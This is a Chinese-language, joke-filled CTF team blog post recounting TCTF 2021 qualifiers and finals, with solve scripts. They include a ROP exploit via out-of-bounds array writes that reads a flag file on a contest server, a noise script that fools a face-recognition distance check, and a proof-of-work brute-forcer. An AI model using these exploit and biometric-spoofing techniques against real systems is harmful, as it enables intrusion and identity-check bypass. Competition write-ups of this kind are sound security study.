1 Oct 2021

TCTF2021-WriteUp

TCTF2021-WriteUp

👴🐋上一次打进 TCTF Final 还是 2018 年

👴🐋历史最佳战绩是第 7 名

TCTF2017 第 7 名

TCTF2018 第 12 名

TCTF2019 寄

TCTF2020 寄

TCTF2021 Quals

只有这种带比赛👴🚪才会上 Blue-Whale,其他时候用的都是 StudentUnion,上次上带号还是 X-NUCA 2020,👴🚪追平了历史最佳战绩,实现了个人赛零的突破。

👴想起了👴第一次比赛, 2018 年蓝盾杯,报名就能去。

housebuilding:中央已经决定了,你去打蓝盾杯

俩 17 级的带👴打,去了两队,最后👴队一共做了七题,👴做了五题,另一队一共做了两题,👴觉得这可能是👴最后一场比赛了。🌶时👴还没有开始写博客,👴只记得👴在车上满脑子问号

?????????????????????????

🌶是👴🐋最黑暗的时代,👴🚪对比赛的态度都是

报一下,随便打,体验比赛,反正也进不去

👴想起了两年前的 TCTF2019,👴还是个带一年轻人,housebuilding 对👴说:

周末有 TCTF 可以打一下

👴🚪白给了

两年后,TCTF2021

👴:TCTF 必须打进决赛

housebuilding:必须打进决赛

👴:必须打进决赛

housebuilding:必须打进决赛

👴:必须打进决赛

housebuilding:必须打进决赛

👴:必须打进决赛

housebuilding:必须打进决赛

👴在《参加CISCN2021是什么样的体验》中提到过 7.3-7.5 TCTF2021 Quals,恰逢期末考试

👴:👴考完光电(喷射)光速上线

7.5 👴在宿舍夜里的智慧,杰哥扬了道题,电脑没电下班,👴和 housebuilding 继续。

当别人怀疑你囤 flag 时,你最好真的囤了。

四点,👴交了囤的 flag,爆了楼上菊花。

五点多收拾收拾东西,躺床上睡会,等着回阿姆斯特丹。突然想到有一趟七点四十的🚝,直接改签,背着包出门到地铁站,学习了青岛地铁运营时刻表,打了个车直奔青岛北。

2021/7/5 5:24:47

👴:现在甚至可以直接改签七点四十的车

车上继续看题,看不出来个 flag,👴拿个电脑也不像什么商务人士,屏幕上花花绿绿跟 dir 溢出一样,希望没人把👴当成不法分子或者泰若瑞斯特。

让我们一起祈祷其他队伍漏油

九点四十,囤 flag 的开始交了

👴:👴🚪为了让带🔥夜里好好休息,谦逊地囤 flag。他们为了上分,竟然恬不知耻地囤 flag。

又到了倒数到零环节

2021/7/5 9:59:50

三万👴:10

👴:倒数到零

2021/7/5 10:00:07

👴:鸥剋兄弟们

👴:全体目光向👴看齐,看👴看👴

👴:👴宣布个事

👴:👴🚪是擦边的神

2021/7/5 13:09:30

housebuilding:👴醒了

👴:活着

6

👴🚪再次擦边进了决赛。

赛前准备

中央已经决定了,所有人都去线下,酒店挤一挤,车票均摊。结果疫情🛫,痛失上海旅游。

主办方要求录视频,👴🚪不想把 b 脸给露了,在贵室找了几个替身,比如下面这个在看题的 7k👴(摄于 2019.10.13)

13

拿替身挡着 b 脸,布置一下桌面和背景,桌上放 TCTF2018 第 12 名的牌子,后面放 StudentUnion 的旗子,三万👴喊口号:

抓法师,扬晦气!

👴🚪是中国海洋带学 Blue-Whale 战队,👴🚪来拿第 12 名了。

线上比赛,主办方把东西都寄过来了

14

15

货到贵室后👴🐎👆扫了一辆电动车过去,每包里面是一个 flag,一件衣服,一个像项圈老哥脖子上挂的项圈一样的项圈风扇,一张 TCTF2021(全息)

海报不错,还有个戴🧢的人,战力自评全为 1 不是因为谦虚🔔smoke(放烟雾弹),是因为👴🚪想整活。

12

防止有人摸🐟,👴🚪又翻出了批斗带会

👴:谁当蹭哥就召开批斗带会批斗谁

housebuilding:必须批斗

👴:必须批斗

housebuilding:必须批斗

👴:必须批斗

housebuilding:必须批斗

👴:必须批斗

210921 赛前讲话

👴拿自己祭了旗

三年前👴只能看着,两年前👴踏🐎还是只能看着,一年前👴还踏🐎在白给,👴⑧是三年前的👴,👴🐋也⑧是三年前的🐋

在这之后没有什么能挡住👴

——2018.11.11《181110》

扬了过去所有的白给,👴🚪必须实现超越,去创造历史。

为什么👴只能看着,👴就他妈活该看着吗?

——2019.11.10《191110》

或者逃,但是👴不想逃,也逃不掉

🐏还是不🐏,这是一个问题

——2020.11.10《201110》

👴在 9.21 夜彳亍时发表重要讲话:

👴:周末 TCTF 所有人都踏🐎跟👴钉在贵室

👴:所有人都踏🐎跟👴钉在贵室

👴:所有人都踏🐎跟👴钉在贵室

👴:不要让战斗停下来,目标前五,必须超越历史最佳战绩

👴🚪必将在比赛中倒数到零

差一个倒数到零,放在最后

——2021.09.14《夜彳亍·彳》

历史会记住 210921,历史会扬了 210921。

扬了。

扬了!

——2021.11.10《211110》

Day1

赛前夜彳亍到贵室,收拾桌子,人人有屏用。把 7k👴放到桌子上,flag 摆好

9

第二天早上到贵室先把直播打开,等着看👴🚪的 b 脸

10

securejit2

白给题

数组越界👴直接宣布👴能劫持控制流,三万👴同时宣布可以通过越界写数组首地址实现任意地址写,👴🚪只要解决 leak 就可以把题扬了

但是 leak ⑧好整,到饭点了,准备吃饭。走出实验室带🚪,👴突然想到 python 是不是没开 PIE?刚走出带🚪的 housebuilding 扭头走进贵室走进 docker 跑了一个 checksec,没有 PIE,没有 PIE!没有 PIE!!

但是👴🚪还是选择先吃饭,痛失一血。

先吃,先吃

在樱花带道上,👴、housebuilding、杰哥、三万👴不忘比赛,拿下了口头一血。

👴:往 Python 里面跳,👴宣布这题扬了

housebuilding:python 里面有什么可以利用的函数🐎?

👴:ROP 淦他🐎的,梦回栈溢出

三万👴:ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

system = 4322528
read = 4322336
pop_rdi = 4331634
pop_rsi = 4330906
pop_rdx = 4204225
_open = 0x41FCE0
write = 0x420880 
bss = 10815904
fuck = [pop_rdi,0,pop_rsi,bss,pop_rdx,10,read,pop_rdi,bss,pop_rsi,4,_open,pop_rdi,3,pop_rsi,bss,pop_rdx,100,read,pop_rdi,1,pop_rsi,bss,pop_rdx,100,write]
for i in range(len(fuck)):
    print("a[{}]={}".format(264+i,fuck[i]))


from pwn import *
payload = '''
def main():
    fuck()

def fuck():
    a = array(1)
    a[264]=4331634
    a[265]=0
    a[266]=4330906
    a[267]=10815904
    a[268]=4204225
    a[269]=100
    a[270]=4322336
    a[271]=4331634
    a[272]=10815904
    a[273]=4330906
    a[274]=4
    a[275]=4324576
    a[276]=4331634
    a[277]=3
    a[278]=4330906
    a[279]=10815904
    a[280]=4204225
    a[281]=100
    a[282]=4322336
    a[283]=4331634
    a[284]=1
    a[285]=4330906
    a[286]=10815904
    a[287]=4204225
    a[288]=100
    a[289]=4327552
EOF
'''
r = remote('118.195.199.18',40404)
r.sendline(payload)
sleep(0.1)
r.sendline('/home/pwn/flag\x00')
r.interactive()

boynextdoor

人工智障 b 脸识别,上传一张和给定 b 脸欧氏距离小于 0.25 的 b 脸。

housebuilding、如来冯老师、王老师折腾了一下午,👴pwn 做不出来去看了一眼,想起了🌶年湖湘杯👴扬了一道人工智障语音识别。

👴:👴手画一张就彳亍啊

coin 割割:肯定⑧彳亍

👴:你⑧懂

👴看他们跑数据集,距离比较小的都是亚洲女性,百度搜亚洲女性平均脸,找到一张图。

2

挨个试,第二个最小,0.37 左右。

👴:👴找到一张 0.37 的脸

打开画图,开始当带艺术家,画一笔跑一下,最后淦到 0.26。

4

coin 割割:?

再往低走👴画不出来了,开始加随机噪声

import face_recognition
import face_recognition_models
import shutil
from PIL import Image
from PIL import ImageFile

keyface_encoding=[
 -8.69139656e-02,  8.30148682e-02 , 1.45035293e-02, -1.27609253e-01,
 -1.42700657e-01, -1.58593412e-02 ,-9.87722948e-02, -1.23219922e-01,
  1.22708268e-01, -1.35270610e-01 , 2.30035380e-01, -1.23880222e-01,
 -1.93354771e-01, -8.94580930e-02 ,-7.93846995e-02,  2.35654935e-01,
 -1.81906566e-01, -1.34962142e-01 ,-1.31788421e-02, -1.04968855e-02,
  4.10739481e-02,  2.44885264e-03 , 8.52121785e-03,  5.79290688e-02,
 -1.15343466e-01, -3.23355764e-01 ,-8.69766697e-02, -2.12586801e-02,
 -9.11531225e-02, -3.72300223e-02 ,-2.80866250e-02,  1.02462806e-01,
 -1.71462923e-01, -2.73887850e-02 , 4.65847105e-02,  6.94189966e-02,
  2.20984984e-02, -8.01130161e-02 , 1.72256276e-01,  1.52742490e-04,
 -2.54432797e-01,  5.17657027e-02 , 1.13474540e-01,  2.19928578e-01,
  1.68304369e-01,  1.28403883e-02 ,-1.04458071e-02, -1.59635231e-01,
  1.74563184e-01, -1.74656272e-01 , 1.19449571e-04,  1.32924736e-01,
  4.52756137e-02, -5.11706285e-02 , 1.84679162e-02, -7.74622187e-02,
  2.99685597e-02,  1.66548729e-01 ,-1.57246217e-01, -3.03353313e-02,
  9.47528481e-02, -6.63631782e-02 ,-3.17470208e-02, -1.85560584e-01,
  2.26004064e-01,  1.28806546e-01 ,-1.15559876e-01, -2.06283614e-01,
  1.40707687e-01, -1.00104943e-01 ,-8.33150819e-02,  8.25207531e-02,
 -1.33005619e-01, -1.90996230e-01 ,-2.95138747e-01, -2.70678457e-02,
  3.30062211e-01,  1.28746748e-01 ,-1.88333243e-01,  5.84503338e-02,
 -8.36766977e-03, -7.47905578e-03 , 1.23152651e-01,  1.65390745e-01,
  5.01543283e-03,  1.08317155e-02 ,-8.22547823e-02, -4.03350629e-02,
  2.58023173e-01, -4.20480780e-02 ,-2.24346798e-02,  2.48134851e-01,
 -5.13138250e-04,  6.34072348e-02 , 6.94152107e-03, -9.12788417e-03,
 -1.11195974e-01,  3.06070670e-02 ,-1.62505597e-01, -1.20745702e-02,
 -1.50425863e-02, -1.41657144e-02 ,-1.81038231e-02,  1.26067802e-01,
 -1.41881093e-01,  1.04972236e-01 ,-5.23118973e-02,  3.43461856e-02,
 -2.61395201e-02, -2.75162887e-02 ,-2.53709070e-02, -3.63143757e-02,
  1.08865552e-01, -2.02156767e-01 , 1.07431002e-01,  8.50366130e-02,
  7.95102417e-02,  1.08320944e-01 , 1.53148308e-01,  8.43793526e-02,
 -2.67507583e-02, -3.10356300e-02 ,-2.16474622e-01, -2.27650702e-02,
  1.20539531e-01, -9.48047191e-02 , 1.40443712e-01,  5.64389490e-03,
]

for i in range(100):
  import cv2
  import random
  
  img = cv2.imread('31.jpg', 1)
  imgInfo = img.shape
  height = imgInfo[0] - 1
  width = imgInfo[1] - 1
  
  temp = 1000
  for i in range(0, temp):
      if random.randint(1, temp) % 2 == 0:
          img[random.randint(0, height), random.randint(0, width)] = (255, 255, 255)
      if random.randint(1, temp) % 2 != 0:
          img[random.randint(0, height), random.randint(0, width)] = (0, 0, 0)
  #cv2.imshow('dst', img)
  cv2.imwrite('noise.jpg', img)
  
  cv2.waitKey(0)

  unknown_image = face_recognition.load_image_file("./noise.jpg")
  unknown_encoding = face_recognition.face_encodings(unknown_image)[0]
  results = face_recognition.face_distance([keyface_encoding], unknown_encoding)
  print(results)
  if results[0]<0.245:
    exit(0)

最后是这样的

final

贵室:ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

👴:你们看👴吊吗?

👴🚪的生活不能没有艺术,决赛有带画家👴,初赛有音乐家陈延毕。

16

中央已经决定了,公款吃喝,买了可乐和薯片,可见组织👆对比赛的重视程度。

这个比赛👴🐋非常重视,在初赛时腐败分子 housebuilding 拿出公费让冯老师买了可乐和薯片,可见组织👆对比赛的重视程度。

——《X-NUCA Final-WriteUp》

第一天主办方发战报的时候👴🚪恰好登顶,虽然没啥用但是帅。

5

《🔔smoke》

Day2

how2gen

早上上课没看题,讲移动通信技术,👴爱学习,坐第一排,无心听课,用移动通信技术问各位👴战况如何,然后开始睡带觉。

下课饭都不吃了直接去贵室,开始看的时候已经被清华扬了,那这题应该不难。

👴:清华能🐏,👴也能🐏

给定语法,跑 0x1000 条 code,覆盖所有 cov。MAXSIZE 给的很大,时间给的也很长,大力出奇迹 replace 就行。

from pwn import *
from hashlib import sha256
import string
import random
import zlib
r = remote('121.5.253.92',10001)
#r = remote('0.0.0.0',10001)
r.recvuntil('sha256(XXXX+')
data = r.recvuntil(') == ',drop=True)
res = r.recvuntil('\n',True)
chars = string.letters+string.digits
log.info(data)
log.info(res)
def fuck(data,res):
	for a in chars:
		print(a)
		for b in chars:
			for c in chars:
				for d in chars:
					nmsl = a+b+c+d
					if sha256(nmsl+data).hexdigest()==res:
						log.info(nmsl)
						return nmsl

r.sendline(fuck(data,res))
r.recvuntil("your grammar today:\n")
gram = r.recvuntil('EOF',True)

gram = gram.split("expression: ")[1]
gram = gram.split("statement: ")
expression = gram[0]
statement = gram[1]
expression_list = expression.split('|')
statement_list = statement.split('|')
#print(expression_list)
all_list_raw = expression_list+statement_list
all_list = []

for i in range(len(all_list_raw)):
	tmp = all_list_raw[i].replace(' -> cov_{}\n'.format(i),'').replace('\n','').replace('  ','').replace('  ','')
	all_list.append(tmp)
#print(all_list)
expression = all_list[:50]
statement = all_list[50:]
#print(expression)
#print(statement)

expression_fucked = []
for i in range(len(expression)):
	tmp = expression[i].replace('"','').replace('DIGIT','1').replace('NUMBER','22').replace('LETTER','a').replace('WORD','bb')
	expression_fucked.append(tmp)
statement_fucked = []
for i in range(len(statement)):
	tmp = statement[i].replace('"','').replace('DIGIT','1').replace('NUMBER','22').replace('LETTER','a').replace('WORD','bb')
	statement_fucked.append(tmp)

statement_fucked_statement = []
statement_fucked_expression = []
for i in range(len(statement_fucked)):
	if 'statement' in statement_fucked[i]:
		statement_fucked_statement.append(statement_fucked[i])
	else:
		statement_fucked_expression.append(statement_fucked[i])

print(statement_fucked_statement)


statement_fucked_expression_gen = []

for i in range(len(statement_fucked_expression)):
	tmp = statement_fucked_expression[i]
	while True:
		if 'expression' in tmp:
			tmp = tmp.replace('expression',random.choice(expression_fucked),1)
		else:
			break
	statement_fucked_expression_gen.append(tmp)

print(statement_fucked_expression_gen)


# statement_fucked_statement_gen = []
# for i in range(len(statement_fucked_statement)):
# 	tmp = statement_fucked_statement[i]
# 	while True:
# 		if 'statement' in tmp:
# 			tmp = tmp.replace('statement',random.choice(statement_fucked_expression_gen),1)
# 		else:
# 			break
# 	statement_fucked_statement_gen.append(tmp)

# print(statement_fucked_statement_gen)

statement_fucked_statement_gen = []
while len(statement_fucked_statement_gen) < 0x1000:
	statement_fucked_statement_remake = []
	for i in range(len(statement_fucked_statement)):
		tmp = statement_fucked_statement[i]
		cnt = 0 
		while True:
			if 'statement' in tmp:
				cnt += 1
				tmp = tmp.replace('statement',random.choice(statement_fucked_statement),1)
			else:
				break
			if cnt == 10:
				break
		statement_fucked_statement_remake.append(tmp)

	for i in range(len(statement_fucked_statement_remake)):
		tmp = statement_fucked_statement_remake[i]
		while True:
			if 'statement' in tmp:
				tmp = tmp.replace('statement',random.choice(statement_fucked_expression_gen),1)
			else:
				break
		while True:
			if 'expression' in tmp:
				tmp = tmp.replace('expression',random.choice(expression_fucked),1)
			else:
				break
		statement_fucked_statement_gen.append(tmp)

all_fucked = statement_fucked_statement_gen

code = ''
for i in range(0x1000):
	code += all_fucked[i]
	code += '|'
code = code[:-1]
code = code.encode()
code = zlib.compress(code)
size = len(code)
log.info(str(size))
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('code(hex):')
r.sendline(code.encode('hex'))

r.interactive()

如果👴不上课,👴必拿一血。

夜里的智慧

👴和 housebuilding 去买智慧饮料、智慧零食,回来的时候 win-win 已经出了。👴买了五个蛋挞,专业人士·甜点杀手·烤箱带师·蛋挞爱好者 housebuidling 竟然不吃,杰哥一个、三万👴一个、coin 割割一个,7k👴远在一千公里外,只能🎩🎩两个代吃。

👴把吃的放到 7k👴旁边,呜呼哀哉,伏惟尚飨。

17

7k👴发表博客《win-win》

3389 连上就能拿的 flag,🎩🎩不能错过。

夜里上新题,coin 割割和杰哥看 halfhalf,👴和三万👴看 babaheap,三万👴想起了🌶天他用 67 行代码打碎了出题人的梦

三万👴:老版本 musl-libc,只要 leak 👴就用🌶个巨牛逼的 gadget 给他扬了

👴:edit uaf,delete 再 add 可以拿到相同指针, size 不清可以堆溢出,直接淦他🐎的

解法已经开题了,👴🚪管这叫《house of musl-dininghall》,因为👴🚪是在🌶个没有编号的食堂吃饭时想到了这个 gadget

本来想五点多回宿舍睡带觉,结果外面下带雨,回不去了,关灯支俩椅子躺着,housebuilding 还在看 fruit(fruit writeup)。六点多天亮雨停,收东西回宿舍,食堂开门,放起了洋文注意事项,但👴不饿甚至有点撑,没有 enter dininghall,天空上有阴,但草上没有小虫,新的一天开始了,晚安!

11

👴第一次通宵打比赛还是第四届海带校赛,18 级本科生队伍👴和 18 级研究生队伍 7k👴在贵室“激烈竞争”,🌶时的👴还不会用 emoji,7k👴还没有拿到 7k 这一巨额分数。天亮回宿舍睡觉,食堂开门,没有疫情也没有洋文注意事项,👴饿了,但👴只想睡觉。CTF 可以让人暂时忘掉很多事情,比赛时👴只想把题扬了,不再去想那些晦气,走出比赛,👴,👴只想睡觉。

7k👴跑路提前告别比赛,👴暂时登顶,比赛结束前 12 分钟,👴被 16 级本科生队伍淦了下去,喜提二等奖,拿了八百块巨款,那天👴吃了四个菜。

差一题登顶,赛后看题解,压缩包里的 RSA 像弱智一样,但👴没看到压缩包的注释,没解开那个包。

不过👴第二天还是吃了四个菜。

这八百块并不是👴拿到的第一笔奖金,第一次是炉石传说高校星联赛,👴牌库倒抽,痛失卡背,拿了第四名,奖金一百块巨款。🌶天👴也吃了四个菜。

👴胸无大志,没什么带梦想,但从高中开始吃食堂的那一天,👴就有了一个梦想,等👴有钱了👴要一顿吃四个菜。

——《夜店

第四届海带校赛是最后一次有奖金的校赛,之后👴成为了校赛出题人,却没了校赛撒💴人,👴只好拿着台灯、插排、沐浴露甚至创新创业学分忽悠人,再也没有那么弱智的题目,再也没见过那么热闹的校赛。

现在是 2021 了,校赛和 TCTF 中间差了有 10423 个 CISCN,👴忘了两年前的👴在想什么,那时的👴也想不到现在👴在想什么。比赛时👴只想把题扬了,走出比赛走在樱花带道,👴只想把该扬的全扬了。

抓法师,扬晦气!

如果说去年👴🚪的关键词是赚了、亏了、晦气,那么今年的关键词之一就是扬了。

👴:🐏了是最优解。

创造历史与寄同时进行

创造历史与寄也同时进行

熬了两天都顶不住了,睡前👴🚪已经被淦到第四名,二三四五分差不大,如果有得分不影响👴🚪排名的队伍把 Web 扬了,👴🚪就能上去。

九点多醒了一看,第五了,后面有队伍交了发密码,把👴🚪🐏了。

十点,倒数到零,没有队伍交 flag 把👴🚪淦下去,也没有队伍交 flag 把上面的队伍淦下去,👴🚪第五,超越历史最佳战绩。

差一题第二,血亏,CISCN2021 也是第五血亏。

赚了但亏了,至少不晦气

8

7

步子大了容易扯着蛋,差了丶运气,更多的是🐓不如人。20 级已经寄了,希望 21 级不再白给,多出几个👴,明年和👴🚪一起再往前淦几名。

👴🚪在 9.28 举行了👴🚪拿了 TCTF 第五名暨你爹有学上了庆祝带会

杰哥:下面会议进行第二项,由优秀研究生代表 AiDai 发表讲话,大家欢迎

coin 割割:👏👏👏👏👏👏👏

陈延毕:👏👏👏👏👏👏👏

7k👴:👏👏👏👏👏👏👏

housebuilding:👏👏👏👏👏👏👏

宋江:👏👏👏👏👏👏👏

👴:尊敬的中顾委 7k 主任,🐏委 housebuilding 主任,各位领导,老师🚪,亲爱的同学🚪,带+👇午好!后面👴编不出来了

👴话讲完,现场响起了热烈的 emoji。如果👴能👆贵印象,👴一定💊把👴保研至中国海洋带学贵室标红加粗。

9.30,冯老师和 housebuilding 夜店归来,而👴在写 House of musl-dininghall

housebuilding:如果没有非预期是不是更好

👴:爬

👴又想起了 210921 赛前讲话

应该不会有了,👴也不需要了

该重新排列了

——2021.9.28《夜彳亍·彳》


Tags:
0 comments



本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).